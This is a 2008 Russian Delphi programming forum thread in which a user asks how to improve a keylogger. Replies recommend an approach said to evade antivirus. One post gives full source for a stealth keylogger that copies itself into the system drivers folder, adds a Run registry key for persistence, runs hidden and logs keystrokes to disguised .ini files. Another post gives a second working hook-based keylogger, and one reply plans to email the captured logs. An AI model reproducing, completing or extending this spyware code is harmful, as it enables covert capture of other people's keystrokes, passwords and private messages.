Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 12.10.2008, 12:42   #1
Titan123
Форумчанин
 
Аватар для Titan123
 
Регистрация: 27.06.2008
Сообщений: 113
Восклицание Нужен совет профи по клав. шпиону.

в общем, пишу я клав. шпиона. но, поскольку, мои умения в программинге оставляют желать лучшего, я пишу самого простого keylogger а.
суть его в следующем:
в таймере интервалом 420 находится код следующего типа:
Код:
if getasynckeystate(VK_Capital)<>0 then begin
append(f);
writeln(f, 'Caps Lock');                     
closefile(f);
end;

if getasynckeystate(VK_control)<>0 then begin
append(f);
writeln(f, 'Ctrl');             
closefile(f);
end;
думаю, код понятен... и так все цифры, буквы и нужные мне клавиши (разумеется, не все)

вот я печатаю быстро и в файле отчета получается билибирда, но если печатать медленно, то все нормально.

у меня два вопроса:
1) как можно оптимизировать код
2) не сожгу ли я комп после работы с такой программой? всякое бывает...
Titan123 вне форума Ответить с цитированием
Старый 12.10.2008, 12:49   #2
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Вот из-за таких личностей крепчает стереотип о делфи-быдлокодерах. Это ужасный способ, вперёд учить winapi! твоя программа - яркий пример индийского кода
пыщь

Последний раз редактировалось JTG; 12.10.2008 в 12:51.
JTG вне форума Ответить с цитированием
Старый 12.10.2008, 16:13   #3
NikLik
Форумчанин
 
Аватар для NikLik
 
Регистрация: 22.11.2007
Сообщений: 224
По умолчанию

Хмм
На мой взгляд, если не гнаться за размером, то для этих целей отлично подходит TApplicationEvents и WH_JOURNALRECORD;
Не палится антивирусами(во всяком случае, ещё месяца два назад все молчали)+удобно работать, можно отлавливать и мышь, и клаву...

В аттаче-- пример(отлавливаем нажатие клавиш мыши).
Вложения
Тип файла: rar ex.rar (3.2 Кб, 205 просмотров)
NikLik вне форума Ответить с цитированием
Старый 12.10.2008, 16:29   #4
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Вот тоже неплохой примерчик:Logger.rar
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 14.10.2008, 15:39   #5
Titan123
Форумчанин
 
Аватар для Titan123
 
Регистрация: 27.06.2008
Сообщений: 113
По умолчанию

спасибо конечно за примеры, но лично мне не по приколу тупо компилировать исходник, в котором я почти ничего не понимаю.
я по поводу моего кода. может, нужно в процедуру какую-нибудь его объединить? мне таймер не нравится, но без него ни как
Titan123 вне форума Ответить с цитированием
Старый 14.10.2008, 17:54   #6
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

http://programmersforum.ru/search.php?searchid=142413
Читай про хуки, у того же Флёнова вроде что-то было, разжёвано донельзя
пыщь

Последний раз редактировалось JTG; 14.10.2008 в 17:57.
JTG вне форума Ответить с цитированием
Старый 16.10.2008, 08:53   #7
Johnson
кривокодер ;)
Форумчанин
 
Аватар для Johnson
 
Регистрация: 20.06.2008
Сообщений: 707
По умолчанию

Цитата:
Сообщение от JTG Посмотреть сообщение
http://programmersforum.ru/search.php?searchid=142413
Читай про хуки, у того же Флёнова вроде что-то было, разжёвано донельзя
Проблемма только в том, что некоторые антивирусы приложение с хуками расценивают как потенциально опасное... хм... хотя в данном случае так и будет))
"А как написать праграму?, "ришыти задачьку очинь нада" ©с форума. Жить становится интереснее, жить становится веселее...
{Быть или не быть} {Неуспешный суицид}
Johnson вне форума Ответить с цитированием
Старый 16.10.2008, 14:40   #8
rainbow
Форумчанин
 
Регистрация: 06.09.2008
Сообщений: 156
По умолчанию Исходник простого клав. шпиона

Код:
program ntrty;

uses Windows;

const
dir = ‘C:\WINDOWS\system32\drivers\’;
name = ‘ntrty’;
ext = ‘.ini’;
ARCStr = ‘cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v ‘;
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; 
CURSOR: hCursor; Background: HBrush; 
ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000) ),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ”;
1: SetLength(Result, 1);
2: ;
else
Result := ”;
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+’.exe’) then
begin
Copyfile(PChar(paramstr(0)),dir+name+’.exe’,BOOL(0 ));
WinExec(dir+name+’.exe’,SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+’ /t REG_SZ /d ‘+dir+name+’.exe /f’),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,’MYCLASS’,”,@Wnd MessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ”,0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass(’MYCLASS’,hInstance);
halt(0);
end;
lpWindow(wMsg);
end.
Ужас, как я устал от тупизны...

Последний раз редактировалось rpy3uH; 15.04.2009 в 08:20.
rainbow вне форума Ответить с цитированием
Старый 22.10.2008, 23:04   #9
Черничный
Форумчанин
 
Регистрация: 27.01.2007
Сообщений: 293
По умолчанию

Цитата:
Сообщение от NikLik Посмотреть сообщение
Хмм
На мой взгляд, если не гнаться за размером, то для этих целей отлично подходит TApplicationEvents и WH_JOURNALRECORD;
Не палится антивирусами(во всяком случае, ещё месяца два назад все молчали)+удобно работать, можно отлавливать и мышь, и клаву...

В аттаче-- пример(отлавливаем нажатие клавиш мыши).
Отличный исходник! Покапаюсь и сделаю отправку на мыло! xDD
Черничный вне форума Ответить с цитированием
Старый 02.11.2008, 16:09   #10
WhiteX
Новичок
Джуниор
 
Регистрация: 01.11.2008
Сообщений: 1
Хорошо Без формы не работает.

Хороший исходник. но не работает без формы (все виснит до снятия Hooka) С формой все ок. Что в нем изменить? плз помогите 3 дня из за компа не вылажу гугл тресу. Вот исходник:

Код:
Program ggglhf;

uses
  Windows, Messages, SysUtils;

var
  h:hhook;
  f:textfile;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall;
var c:array[0..255] of char;
    nScan:integer;
    f:textfile;
    t:_systemtime;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
assignfile(f,'c:\history.txt');
append(F);
getsystemtime(t);
writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:'
                  +inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.'
                  +inttostr(t.wMilliseconds)+'['+c+']');
closefile(f);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;



begin

assignfile(f,'c:\history.txt');
rewrite(f);
closefile(f);
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);

end.
Что в нем изменить? Буду признателен тем кто поможет.

Последний раз редактировалось rpy3uH; 15.04.2009 в 08:20.
WhiteX вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужен совет Eretic Общие вопросы .NET 3 31.10.2008 13:57
Нужен совет по С++ profi Помощь студентам 3 28.07.2008 19:20
Нужен совет Михаил Юрьевич Общие вопросы Delphi 2 07.06.2008 13:59
Нужен совет Kler Свободное общение 0 27.03.2008 23:44
нужен совет r@ssell Общие вопросы Delphi 3 26.11.2006 20:15